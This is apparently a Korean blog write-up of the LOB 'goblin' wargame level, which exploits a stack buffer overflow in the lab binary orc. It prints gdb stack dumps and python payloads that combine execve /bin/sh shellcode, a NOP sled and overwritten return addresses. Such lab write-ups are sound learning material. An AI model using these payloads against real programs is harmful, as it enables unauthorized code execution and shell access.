LOB 4 - goblin write up |
이번에는 고블린 !
이번에는 오크가 보인다.
코드를 살펴보면 이전 문제들과 다르게 추가된 부분이 있다.
egghunter라는 주석이 있는 부분인데, 찾아보니 memset 함수를 통해 환경변수를 초기화하는 작업이다.
그니까 이 문제는 환경변수를 사용하지않고 풀어야한다.
그리고 입력인자에 조건을 걸어놨는데
argv[1][47] != \xbf 즉 첫번째 입력인자의 48번째문자가 \xbf로 시작해야한다는 뜻
여기까지 정보만을 보고 대충 어림짐작해보면
버퍼가 40이고 int i 가 4바이트 sfp가 4바이트니까 48바이트를 더미로 덮고 RET를 주어야하는데
이때 47번째까지는 아무 의미없는 더미로 덮으면 되지만 48번째 문자는 \bf로 시작해서 RET 주소를 주어야한다는 것이다.
실제로 내가 생각한 스택프레임형태인지 확인을 한번 해보자
gdb로 까보기 위해 TMP 디렉토리를 만들고 복사본을 저장한다.
[goblin@localhost goblin]$ mkdir TMP [goblin@localhost goblin]$ ls TMP orc orc.c [goblin@localhost goblin]$ cp orc TMP [goblin@localhost goblin]$ ls orc |
gdb를 통해 까보면 스택이 \x2c 즉 44바이트만큼 생성된 것을 볼 수 있다.
즉 버퍼40바이트와 int 형 변수 i 를 위한 4바이트가 생성된 것이다.
(gdb) gdb ./orc Undefined command: "gdb". Try "help". (gdb) q [goblin@localhost TMP]$ gdb -q orc (gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048501 <main+1>: mov %esp,%ebp 0x8048503 <main+3>: sub $0x2c,%esp 0x8048506 <main+6>: cmpl $0x1,0x8(%ebp) 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push $0x8048630 0x8048511 <main+17>: call 0x8048410 <printf> 0x8048516 <main+22>: add $0x4,%esp 0x8048519 <main+25>: push $0x0 0x804851b <main+27>: call 0x8048420 <exit> 0x8048520 <main+32>: add $0x4,%esp 0x8048523 <main+35>: nop 0x8048524 <main+36>: movl $0x0,0xffffffd4(%ebp) 0x804852b <main+43>: nop 0x804852c <main+44>: lea 0x0(%esi,1),%esi 0x8048530 <main+48>: mov 0xffffffd4(%ebp),%eax 0x8048533 <main+51>: lea 0x0(,%eax,4),%edx 0x804853a <main+58>: mov 0x8049750,%eax 0x804853f <main+63>: cmpl $0x0,(%eax,%edx,1) 0x8048543 <main+67>: jne 0x8048547 <main+71> 0x8048545 <main+69>: jmp 0x8048587 <main+135> |
이제 쉘코드를 어떻게 넣을지 생각해야하는데, 버퍼가 40바이트이므로 쉘코드를 버퍼에 삽입하기에 충분한 크기이다.
버퍼의 주소를 확인해보자
dumped 된 core를 생성시켜서 gdb를 통해 확인해보자
[goblin@localhost TMP]$ ./orc `python -c 'print "A"*47 +"\xbf"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿ Segmentation fault (core dumped) [goblin@localhost TMP]$ ls core orc [goblin@localhost TMP]$ gdb -q orc (gdb) disas main |
strcpy 다음 주소 에 브레이크를 걸고 esp를 확인
(gdb) b *0x80485c2 Breakpoint 1 at 0x80485c2 (gdb) x/20x $esp 0xbffffad0: 0x43434343 0xbffffb00 0xbffffb20 0x40013868 0xbffffae0: 0x00000002 0x08048450 0x00000000 0x08048471 0xbffffaf0: 0x08048500 0x00000002 0xbffffb14 0x08048390 0xbffffb00: 0x0804860c 0x4000ae60 0xbffffb0c 0x40013e90 0xbffffb10: 0x00000002 0xbffffc0e 0xbffffc23 0x00000000 (gdb) 0xbffffb20: 0xbffffc58 0xbffffc6d 0xbffffc86 0xbffffca5 0xbffffb30: 0xbffffcc7 0xbffffcd3 0xbffffe96 0xbffffeb5 0xbffffb40: 0xbffffed1 0xbffffee6 0xbfffff04 0xbfffff0f 0xbffffb50: 0xbfffff29 0xbfffff38 0xbfffff40 0xbfffff51 0xbffffb60: 0xbfffff5b 0xbfffff69 0xbfffff7a 0xbfffff88 (gdb) 0xbffffb70: 0xbfffff93 0xbfffffa5 0x00000000 0x00000003 0xbffffb80: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffffb90: 0x00000006 0x00000006 0x00001000 0x00000007 0xbffffba0: 0x40000000 0x00000008 0x00000000 0x00000009 0xbffffbb0: 0x08048450 0x0000000b 0x000001f7 0x0000000c (gdb) 0xbffffbc0: 0x000001f7 0x0000000d 0x000001f7 0x0000000e 0xbffffbd0: 0x000001f7 0x00000010 0x0f8bfbff 0x0000000f 0xbffffbe0: 0xbffffc09 0x00000000 0x00000000 0x00000000 0xbffffbf0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc00: 0x00000000 0x00000000 0x38366900 0x682f0036 (gdb) 0xbffffc10: 0x2f656d6f 0x6c626f67 0x542f6e69 0x6f2f504d 0xbffffc20: 0x41006372 0x41414141 0x41414141 0x41414141 0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc50: 0x43bf4141 0x00434343 0x00000000 0x00000000 |
nopsled를 활용해서 페이로드를 짠다. 버퍼 40바이트 + int형 i 4바이트 + sfp 4바이트 + ret 4바이트
난 놉슬레드 10바이트 + 쉘코드 24바이트 + 6
r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'` |
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'` Starting program: /home/goblin/TMP/orc `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'` Breakpoint 1, 0x80485c2 in main () (gdb) x/20x $esp 0xbffffa94: 0xbffffaa0 0xbffffc27 0x00000016 0x41414141 0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffab4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffac4: 0x41414141 0x41414141 0xbfbfbfbf 0x00000000 0xbffffad4: 0xbffffb14 0xbffffb20 0x40013868 0x00000002 |
그럼 이제 쉘코드를 삽입해보자.
r `python -c 'print "A"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf"'` |
(gdb) r `python -c 'print "A"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/goblin/TMP/orc `python -c 'print "A"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf"'` Breakpoint 1, 0x80485c2 in main () (gdb) x/20x $esp 0xbffffa94: 0xbffffaa0 0xbffffc27 0x00000016 0x41414141 0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffab4: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 0xbffffac4: 0x99e18953 0x80cd0bb0 0xbfbfbfbf 0x00000000 0xbffffad4: 0xbffffb14 0xbffffb20 0x40013868 0x00000002 |
앞에 A대신 놉슬레드로 바꿔주고 뒤에 쉘코드가 시작될 수 있도록 RET 주소를 준다.
r `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf" + "\xa8\xfa\xff\xbf" '` |
왜 인지 놉을 깔아도 안된다
뭐가 문제일까
이럴때는 코어 덤프파일을 gdb를 통해 뜯어보자
./orc `python -c 'print "A"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf" + "\xa8\xfa\xff\xbf" '` 1h//shh/bin⏓ᙰ ̀¿¿¿¿¨¿ Segmentation fault (core dumped) |
[goblin@localhost TMP]$ gdb -c core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `./orc 1h//shh/bin⏓ᙰ ̀¿¿¿¿¨¿'. Program terminated with signal 11, Segmentation fault. #0 0xbfbfbfbf in ?? () |
마지막 리턴주소가 bfbfbfbf로 된것을 확인할 수 있다.
내가 의도한대로면 뒤에 4바이트가 ret가 되어야하는데, 왜인지 맞지않다.
여기서 막혀서 인터넷에서 좀 서치해보았는데.. 버퍼에 쉘코드를 넣고 버퍼의 시작주소를 알려주는 한 줄을 추가해서
버퍼의 주소를 확인 한 뒤에 리턴 주소에 넣는 방법을 사용하는 걸 보고 굉장히 좋은 방법이라 생각이 들었다.
strcpy함수가 실행된 다음 버퍼의 주소를 출력하는 코드를 추가한다.
그리고 컴파일해서 마찬가지로 페이로드를 넣어보면
현재 버퍼의 주소가 출력된다.
[goblin@localhost goblin]$ gcc -o or0 orc.c [goblin@localhost goblin]$ ./or0 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+ "\x90"*20 + "\xa8\xfa\xff\xbf" '` |
버퍼의 주소가 bffffac0 으로 출력되었다. 출력된 주소를 가지고 다시 페이로드를 작성하면 된다
[goblin@localhost goblin]$ gcc -o or0 orc.c [goblin@localhost goblin]$ ./or0 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+ "\x90"*20 + "\xc0\xfa\xff\xbf" '` |
++ 아직 해결못한 것
처음 esp가 44바이트만큼 생성되고, sfp를 덮는 4바이트와 ret 주소 4바이트를 생각하면
48바이트의 더미와 4바이트의 ret로 페이로드를 작성해야한다고 생각했는데
44바이트 + ret 형식으로 페이로드가 작성되었다.
core를 까보면서 알게되었지만 core를 확인하는방법 외에 어떻게 해결해야하는지 잘 모르겠다.
'wargame > LOB' 카테고리의 다른 글
[포너블] LOB 6 - wolfman (0) | 2021.09.30 |
---|---|
[포너블] LOB 5 - orc (0) | 2021.09.30 |
[포너블] LOB 3 - cobolt (0) | 2021.09.26 |
[포너블] LOB 2 - gremlin (0) | 2021.09.26 |
[포너블] LOB 1 - gate (0) | 2021.09.26 |
댓글